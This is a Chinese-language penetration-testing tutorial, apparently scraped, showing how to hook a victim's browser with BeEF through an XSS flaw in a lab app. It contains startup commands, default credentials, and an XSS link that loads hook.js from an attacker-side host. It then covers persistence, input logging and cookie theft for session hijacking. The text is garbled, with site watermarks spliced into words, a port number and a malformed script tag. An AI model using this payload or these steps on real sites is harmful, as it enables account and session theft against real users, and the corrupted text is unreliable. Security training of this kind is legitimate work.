thr0cyte，Gr33k，花花，MrTools，R1ght0us，7089bAt
BeEF，全称The BrowserExploitation Framework(浏览器攻击框架www.58yuanyou.com)，是一款针对web浏览器的渗透测试工具。
在这个小节中，我们将演示利用XSS漏洞和BeEF框架控制目标浏览器。
环境准备
在开始之前，我们需要确保已经启动了BeEF服务，默认管理页面的url是：
http://127.0.0.1:3000/ui/panel(默认账号密码为BeEF /BeEF)。
1. 在kali linux中默认的BeEF的服务是不起作用的，所以不能以beef-xss这样简单的方式来启动BeEF。我们需要从安装它的目录下启动它，如下图所示:
lcd/usr/share/beef-xss/
l./beef
2. 现在，浏览器打开http://127.0.0.1:3000/ui/panel并使用默认账户名密码（beef/beef）。如果成功打开，那我们就准备进行下一步。
BeEF需要目标浏览器调用hook.js文件，它能让浏览器挂钩到我们的BeEF服务器，另外我们将利用一个易受XSS攻击的应用程序，让目标用户调用它:
1. 想象你是受害者，你收到了一封包含xss链接的电子邮件，若你点击它，访问了该链接：
http://192.168.56.11/bodgeit/search.jsp?q=<src="http://192.168.56.10:30原由网00/hook.js"> </>
2. 现在，在BeEF面板中，攻击者将看到一个浏览器上线:
3. 如果我们在浏览器中查看Logs选项卡，我们可以看到BeEF存储了用户在浏览器窗口中执行的操作的信息，比如输入和单击，如下图所示:
4. 在浏览器被hook.js文件挂钩之后，目标用户在被域中导航攻击时，攻击者最好要让会话变为持久性的。下一步转到攻击者浏览器中的Commands选项卡，进入模块目录，转到浏览器中的Per原由网sistence | Man-In-The-Browser，然后单击Execute执行他。
5. 模块执行后，在模块的历史记录中选择相关命令，检查结果如下:
6. 攻击者还可以使用BeEF在受害者浏览器中执行命令。例如，在模块目录中，到Browser | Get Cookie，点击Execute来获取用户的Cookie:
在此小节中，我们使用标记中的src属性来调用外部Java文件。在这个例子中，我们是调用了BeEF服务器的钩子。
这个hook.js文件与服务器通信，执行命令，并返回响应，以便攻击者可以看到;它不会在客户端浏览器中打印任何内容，因此受害者通常不会知道他的浏览器已经被劫持。
在让受害者执行钩子脚本之后，我们使用浏览器中的持久化模块Man-in-the-Browser，让浏览器在每次用原由网户单击到相同域的链接时执行AJAX请求，以便该请求保留钩子并加载新页面。
我们还看到，BeEF的日志记录了用户在页面上执行的每个操作，我们可以从中获得用户名和密码。还可以远程获取会话cookie，这可能允许攻击者劫持受害者的会话。
模块左边的彩色圆圈表示模块的可用性和可见性:绿色模块为受害浏览器正在工作，用户不应该看到它;橙色表示模块可以工作，但用户会注意到它或必须与它交互;灰色表示模块在该浏览器中还没有经过测试;
-----------------------nVXPjhIlO---------------------------------------------
